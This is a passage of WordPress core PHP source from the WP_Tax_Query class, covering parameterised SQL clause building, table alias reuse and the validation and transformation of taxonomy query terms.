$num_terms"; } elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) { $where = $wpdb->prepare( "$operator ( SELECT 1 FROM $wpdb->term_relationships INNER JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id WHERE $wpdb->term_taxonomy.taxonomy = %s AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column )", $clause['taxonomy'] ); } $sql['join'][] = $join; $sql['where'][] = $where; return $sql; } /** * Identifies an existing table alias that is compatible with the current query clause. * * We avoid unnecessary table joins by allowing each clause to look for * an existing table alias that is compatible with the query that it * needs to perform. * * An existing alias is compatible if (a) it is a sibling of `$clause` * (ie, it's under the scope of the same relation), and (b) the combination * of operator and relation between the clauses allows for a shared table * join. In the case of WP_Tax_Query, this only applies to 'IN' * clauses that are connected by the relation 'OR'. * * @since 4.1.0 * * @param array $clause Query clause. * @param array $parent_query Parent query of $clause. * @return string|false Table alias if found, otherwise false. */ protected function find_compatible_table_alias( $clause, $parent_query ) { $alias = false; // Sanity check. Only IN queries use the JOIN syntax. if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) { return $alias; } // Since we're only checking IN queries, we're only concerned with OR relations. if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) { return $alias; } $compatible_operators = array( 'IN' ); foreach ( $parent_query as $sibling ) { if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) { continue; } if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) { continue; } // The sibling must both have compatible operator to share its alias. if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators, true ) ) { $alias = preg_replace( '/\W/', '_', $sibling['alias'] ); break; } } return $alias; } /** * Validates a single query. * * @since 3.2.0 * * @param array $query The single query. Passed by reference. */ private function clean_query( &$query ) { if ( empty( $query['taxonomy'] ) ) { if ( 'term_taxonomy_id' !== $query['field'] ) { $query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); return; } // So long as there are shared terms, 'include_children' requires that a taxonomy is set. $query['include_children'] = false; } elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) { $query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); return; } if ( 'slug' === $query['field'] || 'name' === $query['field'] ) { $query['terms'] = array_unique( (array) $query['terms'] ); } else { $query['terms'] = wp_parse_id_list( $query['terms'] ); } if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) { $this->transform_query( $query, 'term_id' ); if ( is_wp_error( $query ) ) { return; } $children = array(); foreach ( $query['terms'] as $term ) { $children = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) ); $children[] = $term; } $query['terms'] = $children; } $this->transform_query( $query, 'term_taxonomy_id' ); } /** * Transforms a single query, from one field to another. * * Operates on the `$query` object by reference. In the case of error, * `$query` is converted to a WP_Error object. * * @since 3.2.0 * * @param array $query The single query. Passed by reference. * @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id', * or 'term_id'. Default 'term_id'. */ public function transform_query( &$query, $resulting_field ) { if ( empty( $query['terms'] ) ) { return; } if ( $query['field'] === $resulting_field ) { return; } $resulting_field = sanitize_key( $resulting_field ); // Empty 'terms' always results in a null transformation. $terms = array_filter( $query['terms'] ); if ( empty( $terms ) ) { $query['terms'] = array(); $query['field'] = $resulting_field; return; } $args = array( 'get' => 'all', 'number' => 0, 'taxonomy' => $query['taxonomy'], 'update_term_meta_cache' => false, 'orderby' => 'none', ); // Term query parameter name depends on the 'field' being searched on. switch ( $query['field'] ) { case 'slug': $args['slug'] = $terms; break; case 'name': $args['name'] = $terms; break; case 'term_taxonomy_id': $args['term_taxonomy_id'] = $terms; break; default: $args['include'] = wp_parse_id_list( $terms ); break; } if ( ! is_taxonomy_hierarchical( $query['taxonomy'] ) ) { $args['number'] = count( $terms ); } $term_query = new WP_Term_Query(); $term_list = $term_query->query( $args ); if ( is_wp_error( $term_list ) ) { $query = $term_list; return; } if ( 'AND' === $query['operator'] && count( $term_list ) < count( $query['terms'] ) ) { $query = new WP_Error( 'inexistent_terms', __( 'Inexistent terms.' ) ); return; } $query['terms'] = wp_list_pluck( $term_list, $resulting_field ); $query['field'] = $resulting_field; } }